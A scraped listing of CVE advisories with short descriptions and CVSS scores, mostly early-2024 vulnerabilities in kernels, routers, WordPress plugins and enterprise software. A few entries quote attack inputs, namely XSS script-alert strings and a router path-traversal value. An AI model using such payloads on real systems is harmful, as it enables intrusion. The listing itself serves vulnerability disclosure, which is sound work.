CVE-2023-48349	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed	5.5	More Details
CVE-2023-40528	This issue was addressed by removing the vulnerable code. This issue is fixed in tvOS 17, watchOS 10, macOS Sonoma 14, iOS 17 and iPadOS 17, macOS Ventura 13.6.4. An app may be able to bypass Privacy preferences.	5.5	More Details
CVE-2023-48346	In video decoder, there is a possible improper input validation. This could lead to local denial of service with no additional execution privileges needed	5.5	More Details
CVE-2023-48347	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	5.5	More Details
CVE-2023-48348	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	5.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6450	An incorrect permissions vulnerability was reported in the Lenovo App Store app that could allow an attacker to use system resources, resulting in a denial of service.	5.5	More Details
CVE-2024-22957	swftools 0.9.2 was discovered to contain an Out-of-bounds Read vulnerability via the function dict_do_lookup in swftools/lib/q.c:1190.	5.5	More Details
CVE-2024-23848	In the Linux kernel through 6.7.1, there is a use-after-free in cec_queue_msg_fh, related to drivers/media/cec/core/cec-adap.c and drivers/media/cec/core/cec-api.c.	5.5	More Details
CVE-2023-6548	Improper Control of Generation of Code ('Code Injection') in NetScaler ADC and NetScaler Gateway allows an attacker with access to NSIP, CLIP or SNIP with management interface to perform Authenticated (low privileged) remote code execution on Management Interface.	5.5	More Details
CVE-2021-33630	NULL Pointer Dereference vulnerability in openEuler kernel on Linux (network modules) allows Pointer Manipulation. This vulnerability is associated with program files net/sched/sch_cbs.C. This issue affects openEuler kernel: from 4.19.90 before 4.19.90-2401.3.	5.5	More Details
CVE-2021-33631	Integer Overflow or Wraparound vulnerability in openEuler kernel on Linux (filesystem modules) allows Forced Integer Overflow.This issue affects openEuler kernel: from 4.19.90 before 4.19.90-2401.3, from 5.10.0-60.18.0 before 5.10.0-183.0.0.	5.5	More Details
CVE-2024-23770	darkhttpd through 1.15 allows local users to discover credentials (for --auth) by listing processes and their arguments.	5.5	More Details
CVE-2024-0655	A vulnerability has been found in Novel-Plus 4.3.0-RC1 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /novel/bookSetting/list. The manipulation of the argument sort leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251383.	5.5	More Details
CVE-2023-46343	In the Linux kernel before 6.5.9, there is a NULL pointer dereference in send_acknowledge in net/nfc/nci/spi.c.	5.5	More Details
CVE-2024-23850	In btrfs_get_root_ref in fs/btrfs/disk-io.c in the Linux kernel through 6.7.1, there can be an assertion failure and crash because a subvolume can be read out too soon after its root item is inserted upon subvolume creation.	5.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-23849	In rds_recv_track_latency in net/rds/af_rds.c in the Linux kernel through 6.7.1, there is an off-by-one error for an RDS_MSG_RX_DGRAM_TRACE_MAX comparison, resulting in out-of-bounds access.	5.5	More Details
CVE-2024-23851	copy_params in drivers/md/dm-ioctl.c in the Linux kernel through 6.7.1 can attempt to allocate more than INT_MAX bytes, and crash, because of a missing param_kernel->data_size check. This is related to ctl_ioctl.	5.5	More Details
CVE-2023-48354	In telephone service, there is a possible improper input validation. This could lead to local information disclosure with no additional execution privileges needed	5.5	More Details
CVE-2024-22914	A heap-use-after-free was found in SWFTools v0.9.2, in the function input at lex.swf5.c:2620. It allows an attacker to cause denial of service.	5.5	More Details
CVE-2023-42144	Cleartext Transmission during initial setup in Shelly TRV 20220811-15234 v.2.1.8 allows a local attacker to obtain the Wi-Fi password.	5.5	More Details
CVE-2024-23224	The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.3, macOS Ventura 13.6.4. An app may be able to access sensitive user data.	5.5	More Details
CVE-2023-6340	SonicWall Capture Client version 3.7.10, NetExtender client version 10.2.337 and earlier versions are installed with sfpmonitor.sys driver. The driver has been found to be vulnerable to Denial-of-Service (DoS) caused by Stack-based Buffer Overflow vulnerability.	5.5	More Details
CVE-2022-40702	Missing Authorization vulnerability in Zorem Advanced Local Pickup for WooCommerce.This issue affects Advanced Local Pickup for WooCommerce: from n/a through 1.5.2.	5.4	More Details
CVE-2022-42884	Missing Authorization vulnerability in ThemeinProgress WIP Custom Login.This issue affects WIP Custom Login: from n/a through 1.2.7.	5.4	More Details
CVE-2023-5914	Cross-site scripting (XSS)	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-22876	StrangeBee TheHive 5.1.0 to 5.1.9 and 5.2.0 to 5.2.8 is vulnerable to Cross Site Scripting (XSS) in the case attachment functionality which enables an attacker to upload a malicious HTML file with Javascript code that will be executed in the context of the The Hive application using a specific URL. The vulnerability can be used to coerce a victim account to perform specific actions on the application as helping an analyst becoming administrator.	5.4	More Details
CVE-2024-23183	Cross-site scripting vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to execute an arbitrary script on the logged-in user's web browser.	5.4	More Details
CVE-2023-34379	Missing Authorization vulnerability in MagneticOne Cart2Cart: Magento to WooCommerce Migration.This issue affects Cart2Cart: Magento to WooCommerce Migration: from n/a through 2.0.0.	5.4	More Details
CVE-2024-22402	Nextcloud guests app is a utility to create guest users which can only see files shared with them. In affected versions users were able to load the first page of apps they were actually not allowed to access. Depending on the selection of apps installed this may present a permissions bypass. It is recommended that the Guests app is upgraded to 2.4.1, 2.5.1 or 3.0.1. There are no known workarounds for this vulnerability.	5.4	More Details
CVE-2022-41786	Missing Authorization vulnerability in WP Job Portal WP Job Portal – A Complete Job Board.This issue affects WP Job Portal – A Complete Job Board: from n/a through 2.0.1.	5.4	More Details
CVE-2023-32337	IBM Maximo Spatial Asset Management 8.10 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 255288.	5.4	More Details
CVE-2023-52069	kodbox v1.49.04 was discovered to contain a cross-site scripting (XSS) vulnerability via the URL parameter.	5.4	More Details
CVE-2023-35020	IBM Sterling Control Center 6.3.0 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (/../) to view arbitrary files on the system. IBM X-Force ID: 257874.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-51463	Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2022-41619	Missing Authorization vulnerability in SedLex Image Zoom.This issue affects Image Zoom: from n/a through 1.8.8.	5.4	More Details
CVE-2023-51464	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2024-22549	FlyCms 1.0 is vulnerable to Cross Site Scripting (XSS) in the email settings of the website settings section.	5.4	More Details
CVE-2023-38627	A post-authenticated server-side request forgery (SSRF) vulnerability in Trend Micro Apex Central 2019 (lower than build 6481) could allow an attacker to interact with internal or local services directly. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This is a similar, but not identical vulnerability as CVE-2023-38626.	5.4	More Details
CVE-2023-38626	A post-authenticated server-side request forgery (SSRF) vulnerability in Trend Micro Apex Central 2019 (lower than build 6481) could allow an attacker to interact with internal or local services directly. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This is a similar, but not identical vulnerability as CVE-2023-38625.	5.4	More Details
CVE-2023-38625	A post-authenticated server-side request forgery (SSRF) vulnerability in Trend Micro Apex Central 2019 (lower than build 6481) could allow an attacker to interact with internal or local services directly. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This is a similar, but not identical vulnerability as CVE-2023-38624.	5.4	More Details
CVE-2023-23896	Missing Authorization vulnerability in MyThemeShop URL Shortener by MyThemeShop.This issue affects URL Shortener by MyThemeShop: from n/a through 1.0.17.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-38624	A post-authenticated server-side request forgery (SSRF) vulnerability in Trend Micro Apex Central 2019 (lower than build 6481) could allow an attacker to interact with internal or local services directly. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This is a similar, but not identical vulnerability as CVE-2023-38625 through CVE-2023-38627.	5.4	More Details
CVE-2024-22548	FlyCms 1.0 is vulnerable to Cross Site Scripting (XSS) in the system website settings website name section.	5.4	More Details
CVE-2023-42143	Missing Integrity Check in Shelly TRV 20220811-152343/v2.1.8@5afc928c allows malicious users to create a backdoor by redirecting the device to an attacker-controlled machine which serves the manipulated firmware file. The device is updated with the manipulated firmware.	5.4	More Details
CVE-2024-22877	StrangeBee TheHive 5.2.0 to 5.2.8 is vulnerable to Cross Site Scripting (XSS) in the case reporting functionality. This feature allows an attacker to insert malicious JavaScript code inside the template or its variables, that will be executed in the context of the TheHive application when the HTML report is opened.	5.4	More Details
CVE-2023-49943	Zoho ManageEngine ServiceDesk Plus MSP before 14504 allows stored XSS (by a low-privileged technician) via a task's name in a time sheet.	5.4	More Details
CVE-2022-41695	Missing Authorization vulnerability in SedLex Traffic Manager.This issue affects Traffic Manager: from n/a through 1.4.5.	5.4	More Details
CVE-2024-23686	DependencyCheck for Maven 9.0.0 to 9.0.6, for CLI version 9.0.0 to 9.0.5, and for Ant versions 9.0.0 to 9.0.5, when used in debug mode, allows an attacker to recover the NVD API Key from a log file.	5.3	More Details
CVE-2021-4433	A vulnerability was found in Karjasoft Sami HTTP Server 2.0. It has been classified as problematic. Affected is an unknown function of the component HTTP HEAD Rrequest Handler. The manipulation leads to denial of service. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250836.	5.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-0725	A vulnerability was found in ProSSHD 1.2 on Windows. It has been declared as problematic. This vulnerability affects unknown code. The manipulation leads to denial of service. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251548.	5.3	More Details
CVE-2024-23688	Consensys Discovery versions less than 0.4.5 uses the same AES/GCM nonce for the entire session. which should ideally be unique for every message. The node's private key isn't compromised, only the session key generated for specific peer communication is exposed.	5.3	More Details
CVE-2024-0723	A vulnerability was found in freeSSHd 1.0.9 on Windows. It has been classified as problematic. This affects an unknown part. The manipulation leads to denial of service. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251547.	5.3	More Details
CVE-2024-21733	Generation of Error Message Containing Sensitive Information vulnerability in Apache Tomcat.This issue affects Apache Tomcat: from 8.5.7 through 8.5.63, from 9.0.0-M11 through 9.0.43. Users are recommended to upgrade to version 8.5.64 onwards or 9.0.44 onwards, which contain a fix for the issue.	5.3	More Details
CVE-2023-47141	IIBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 270264.	5.3	More Details
CVE-2023-6447	The EventPrime WordPress plugin before 3.3.6 lacks authentication and authorization, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id/event name.	5.3	More Details
CVE-2024-0732	A vulnerability was found in PCMan FTP Server 2.0.7 and classified as problematic. This issue affects some unknown processing of the component STOR Command Handler. The manipulation leads to denial of service. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251555.	5.3	More Details
CVE-2024-0774	A vulnerability was found in Any-Capture Any Sound Recorder 2.93. It has been declared as problematic. This vulnerability affects unknown code of the component Registration Handler. The manipulation of the argument User Name/Key Code leads to memory corruption. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used. VDB-251674 is the identifier assigned to this vulnerability.	5.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-0731	A vulnerability has been found in PCMan FTP Server 2.0.7 and classified as problematic. This vulnerability affects unknown code of the component PUT Command Handler. The manipulation leads to denial of service. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251554 is the identifier assigned to this vulnerability.	5.3	More Details
CVE-2024-0772	A vulnerability was found in Nsasoft ShareAlarmPro 2.1.4 and classified as problematic. Affected by this issue is some unknown functionality of the component Registration Handler. The manipulation of the argument Name/Key leads to memory corruption. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251672. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	5.3	More Details
CVE-2024-0769	** UNSUPPORTED WHEN ASSIGNED ** A vulnerability was found in D-Link DIR-859 1.06B01. It has been rated as critical. Affected by this issue is some unknown functionality of the file /hedwig.cgi of the component HTTP POST Request Handler. The manipulation of the argument service with the input ../../../../htdocs/webinc/getcfg/DHCPS6.BRIDGE-1.xml leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251666 is the identifier assigned to this vulnerability. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced.	5.3	More Details
CVE-2024-0771	A vulnerability has been found in Nsasoft Product Key Explorer 4.0.9 and classified as problematic. Affected by this vulnerability is an unknown functionality of the component Registration Handler. The manipulation of the argument Name/Key leads to memory corruption. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251671. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	5.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-44401	The Silverstripe CMS GraphQL Server serves Silverstripe data as GraphQL representations. In versions 4.0.0 prior to 4.3.7 and 5.0.0 prior to 5.1.3, `canView` permission checks are bypassed for ORM data in paginated GraphQL query results where the total number of records is greater than the number of records per page. Note that this also affects GraphQL queries which have a limit applied, even if the query isn't paginated per se. This has been fixed in versions 4.3.7 and 5.1.3 by ensuring no new records are pulled in from the database after performing `canView` permission checks for each page of results. This may result in some pages in the query results having less than the maximum number of records per page even when there are more pages of results. This behavior is consistent with how pagination works in other areas of Silverstripe CMS, such as in `GridField`, and is a result of having to perform permission checks in PHP rather than in the database directly. One may disable these permission checks by disabling the `CanViewPermission` plugin.	5.3	More Details
CVE-2024-0717	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input noticeInetIversion leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.	5.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-23330	Tuta is an encrypted email service. In versions prior to 119.10, an attacker can attach an image in a html mail which is loaded from external resource in the default setting, which should prevent loading of external resources. When displaying emails containing external content, they should be loaded by default only after confirmation by the user. However, it could be recognized that certain embedded images (see PoC) are loaded, even though the "Automatic Reloading of Images" function is disabled by default. The reloading is also done unencrypted via HTTP and redirections are followed. This behavior is unexpected for the user, since the user assumes that external content will only be loaded after explicit manual confirmation. The loading of external content in e-mails represents a risk, because this makes the sender aware that the e-mail address is used, when the e-mail was read, which device is used and expose the user's IP address. Version 119.10 contains a patch for this issue.	5.3	More Details
CVE-2024-22204	Whoogle Search is a self-hosted metasearch engine. Versions 0.8.3 and prior have a limited file write vulnerability when the configuration options in Whoogle are enabled. The `config` function in `app/routes.py` does not validate the user-controlled `name` variable on line 447 and `config_data` variable on line 437. The `name` variable is insecurely concatenated in `os.path.join`, leading to path manipulation. The POST data from the `config_data` variable is saved with `pickle.dump` which leads to a limited file write. However, the data that is saved is earlier transformed into a dictionary and the `url` key value pair is added before the file is saved on the system. All in all, the issue allows us to save and overwrite files on the system that the application has permissions to, with a dictionary containing arbitrary data and the `url` key value, which is a limited file write. Version 0.8.4 contains a patch for this issue.	5.3	More Details
CVE-2024-23685	Hard-coded credentials in mod-remote-storage versions under 1.7.2 and from 2.0.0 to 2.0.3 allows unauthorized users to gain read access to mod-inventory-storage records including instances, holdings, items, contributor-types, and identifier-types.	5.3	More Details
CVE-2023-47747	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272646.	5.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-23340	@hono/node-server is an adapter that allows users to run Hono applications on Node.js. Since v1.3.0, @hono/node-server has used its own Request object with `url` behavior that is unexpected. In the standard API, if the URL contains `..`, here called "double dots", the URL string returned by Request will be in the resolved path. However, the `url` in @hono/node-server's Request as does not resolve double dots, so `http://localhost/static/.. /foo.txt` is returned. This causes vulnerabilities when using `serveStatic`. Modern web browsers and a latest `curl` command resolve double dots on the client side, so this issue doesn't affect those using either of those tools. However, problems may occur if accessed by a client that does not resolve them. Version 1.4.1 includes the change to fix this issue. As a workaround, don't use `serveStatic`.	5.3	More Details
CVE-2023-47158	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1 and 11.5 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 270750.	5.3	More Details
CVE-2024-0736	A vulnerability classified as problematic has been found in EFS Easy File Sharing FTP 3.6. This affects an unknown part of the component Login. The manipulation of the argument password leads to denial of service. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251559.	5.3	More Details
CVE-2024-0737	A vulnerability classified as problematic was found in Xlightftpd Xlight FTP Server 1.1. This vulnerability affects unknown code of the component Login. The manipulation of the argument user leads to denial of service. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251560.	5.3	More Details
CVE-2024-0693	A vulnerability classified as problematic was found in EFS Easy File Sharing FTP 2.0. Affected by this vulnerability is an unknown functionality. The manipulation of the argument username leads to denial of service. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251479. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	5.3	More Details
CVE-2024-23680	AWS Encryption SDK for Java versions 2.0.0 to 2.2.0 and less than 1.9.0 incorrectly validates some invalid ECDSA signatures.	5.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-31274	AVEVA PI Server versions 2023 and 2018 SP3 P05 and prior contain a vulnerability that could allow an unauthenticated user to cause the PI Message Subsystem of a PI Server to consume available memory resulting in throttled processing of new PI Data Archive events and a partial denial-of-service condition.	5.3	More Details
CVE-2023-28901	The Skoda Automotive cloud contains a Broken Access Control vulnerability, allowing remote attackers to obtain recent trip data, vehicle mileage, fuel consumption, average and maximum speed, and other information of Skoda Connect service users by specifying an arbitrary vehicle VIN number.	5.3	More Details
CVE-2023-47746	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272644.	5.3	More Details
CVE-2023-28900	The Skoda Automotive cloud contains a Broken Access Control vulnerability, allowing to obtain nicknames and other user identifiers of Skoda Connect service users by specifying an arbitrary vehicle VIN number.	5.3	More Details
CVE-2024-0654	A vulnerability, which was classified as problematic, was found in DeepFaceLab pretrained DF.wf.288res.384.92.72.22. Affected is an unknown function of the file mainscripts/Util.py. The manipulation leads to deserialization. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. VDB-251382 is the identifier assigned to this vulnerability.	5.3	More Details
CVE-2023-6184	Cross SiteScripting vulnerability in Citrix Session Recording allows attacker to perform Cross Site Scripting	5.0	More Details
CVE-2023-44395	Autolab is a course management service that enables instructors to offer autograded programming assignments to their students over the Web. Path traversal vulnerabilities were discovered in Autolab's assessment functionality in versions of Autolab prior to 2.12.0, whereby instructors can perform arbitrary file reads. Version 2.12.0 contains a patch. There are no feasible workarounds for this issue.	4.9	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-20257	A vulnerability in the web-based management interface of Cisco Prime Infrastructure could allow an authenticated, remote attacker to conduct cross-site scripting attacks. This vulnerability is due to improper validation of user-supplied input to the web-based management interface. An attacker could exploit this vulnerability by submitting malicious input containing script or HTML content within requests that would stored within the application interface. A successful exploit could allow the attacker to conduct cross-site scripting attacks against other users of the affected application.	4.8	More Details
CVE-2023-6626	The Product Enquiry for WooCommerce WordPress plugin before 3.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)	4.8	More Details
CVE-2024-20251	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.	4.8	More Details
CVE-2024-20270	A vulnerability in the web-based management interface of Cisco BroadWorks Application Delivery Platform and Cisco BroadWorks Xtended Services Platform could allow an authenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of the interface. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.	4.8	More Details
CVE-2024-23387	FusionPBX prior to 5.1.0 contains a cross-site scripting vulnerability. If this vulnerability is exploited by a remote authenticated attacker with an administrative privilege, an arbitrary script may be executed on the web browser of the user who is logging in to the product.	4.8	More Details
CVE-2023-6290	The SEOPress WordPress plugin before 7.3 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Cross-Site Scripting attacks even when unfiltered_html is disallowed	4.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6456	The WP Review Slider WordPress plugin before 13.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)	4.8	More Details
CVE-2024-0728	A vulnerability classified as problematic was found in ForU CMS up to 2020-06-23. Affected by this vulnerability is an unknown functionality of the file channel.php. The manipulation of the argument c_cmodel leads to file inclusion. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251551.	4.7	More Details
CVE-2023-49515	Insecure Permissiosn vulnerability in TP Link TC70 and C200 WIFI Camera v.3 firmware v.1.3.4 and fixed in v.1.3.11 allows a physically proximate attacker to obtain sensitive information via a connection to the UART pin components.	4.6	More Details
CVE-2024-23676	In Splunk versions below 9.0.8 and 9.1.3, the “mrollup” SPL command lets a low-privileged user view metrics on an index that they do not have permission to view. This vulnerability requires user interaction from a high-privileged user to exploit.	4.6	More Details
CVE-2023-48353	In vsp driver, there is a possible use after free due to a logic error. This could lead to local denial of service with System execution privileges needed	4.4	More Details
CVE-2023-48355	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed	4.4	More Details
CVE-2020-36772	CloudLinux CageFS 7.0.8-2 or below insufficiently restricts file paths supplied to the sendmail proxy command. This allows local users to read and write arbitrary files of certain file formats outside the CageFS environment.	4.4	More Details
CVE-2023-48342	In media service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed	4.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48356	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed	4.4	More Details
CVE-2023-48357	In vsp driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed	4.4	More Details
CVE-2023-48358	In drm driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed	4.4	More Details
CVE-2023-48339	In jpg driver, there is a possible missing permission check. This could lead to local information disclosure with System execution privileges needed	4.4	More Details
CVE-2023-48359	In autotest driver, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with System execution privileges needed	4.4	More Details
CVE-2024-0770	A vulnerability, which was classified as critical, was found in European Chemicals Agency IUCLID 7.10.3 on Windows. Affected is an unknown function of the file iuclid6.exe of the component Desktop Installer. The manipulation leads to incorrect default permissions. The attack needs to be approached locally. VDB-251670 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	4.4	More Details
CVE-2024-0703	The Sticky Buttons – floating buttons builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via sticky URLs in all versions up to, and including, 3.2.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.	4.4	More Details
CVE-2024-0742	It was possible for certain browser prompts and dialogs to be activated or dismissed unintentionally by the user due to an incorrect timestamp used to prevent input after page load. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7.	4.3	More Details
CVE-2023-46447	The POPS! Rebel application 5.0 for Android, in POPS! Rebel Bluetooth Glucose Monitoring System, sends unencrypted glucose measurements over BLE.	4.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-23882	Missing Authorization vulnerability in Brainstorm Force Ultimate Addons for Beaver Builder – Lite.This issue affects Ultimate Addons for Beaver Builder – Lite: from n/a through 1.5.5.	4.3	More Details
CVE-2022-38141	Missing Authorization vulnerability in Zorem Sales Report Email for WooCommerce.This issue affects Sales Report Email for WooCommerce: from n/a through 2.8.	4.3	More Details
CVE-2024-0695	A vulnerability, which was classified as problematic, has been found in EFS Easy Chat Server 3.1. Affected by this issue is some unknown functionality of the component HTTP GET Request Handler. The manipulation of the argument USERNAME leads to denial of service. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251480. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	4.3	More Details
CVE-2023-47718	IBM Maximo Asset Management 7.6.1.3 and Manage Component 8.10 through 8.11 is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts. IBM X-Force ID: 271843.	4.3	More Details
CVE-2024-0726	A vulnerability was found in Project Worlds Student Project Allocation System 1.0. It has been rated as problematic. This issue affects some unknown processing of the file admin_login.php of the component Admin Login Module. The manipulation of the argument msg with the input test%22%3Cscript%3Ealert(%27Torada%27)%3C/script%3E leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251549 was assigned to this vulnerability.	4.3	More Details
CVE-2022-45845	Deserialization of Untrusted Data vulnerability in Nextend Smart Slider 3.This issue affects Smart Slider 3: from n/a through 3.5.1.9.	4.3	More Details
CVE-2024-0623	The VK Block Patterns plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.31.1.1. This is due to missing or incorrect nonce validation on the vbp_clear_patterns_cache() function. This makes it possible for unauthenticated attackers to clear the patterns cache via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	4.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-49783	Silverstripe Admin provides a basic management interface for the Silverstripe Framework. In versions on the 1.x branch prior to 1.13.19 and on the 2.x branch prior to 2.1.8, users who don't have edit or delete permissions for records exposed in a `ModelAdmin` can still edit or delete records using the CSV import form, provided they have create permissions. The likelihood of a user having create permissions but not having edit or delete permissions is low, but it is possible. Note that this doesn't affect any `ModelAdmin` which has had the import form disabled via the `showImportForm` public property. Versions 1.13.19 and 2.1.8 contain a patch for the issue. Those who have a custom implementation of `BulkLoader` should update their implementations to respect permissions when the return value of `getCheckPermissions()` is true. Those who use any `BulkLoader` in their own project logic, or maintain a module which uses it, should consider passing `true` to `setCheckPermissions()` if the data is provided by users.	4.3	More Details
CVE-2023-6625	The Product Enquiry for WooCommerce WordPress plugin before 3.1 does not have a CSRF check in place when deleting inquiries, which could allow attackers to make a logged in admin delete them via a CSRF attack	4.3	More Details
CVE-2024-0647	A vulnerability, which was classified as problematic, was found in Sparksuite SimpleMDE up to 1.11.2. This affects an unknown part of the component iFrame Handler. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251373 was assigned to this vulnerability.	4.3	More Details
CVE-2024-0650	A vulnerability was found in Project Worlds Visitor Management System 1.0. It has been classified as problematic. Affected is an unknown function of the file dataset.php of the component URL Handler. The manipulation of the argument name with the input "><script>alert('torada')</script> leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251376.	4.3	More Details
CVE-2024-0748	A compromised content process could have updated the document URI. This could have allowed an attacker to set an arbitrary URI in the address bar or history. This vulnerability affects Firefox < 122.	4.3	More Details
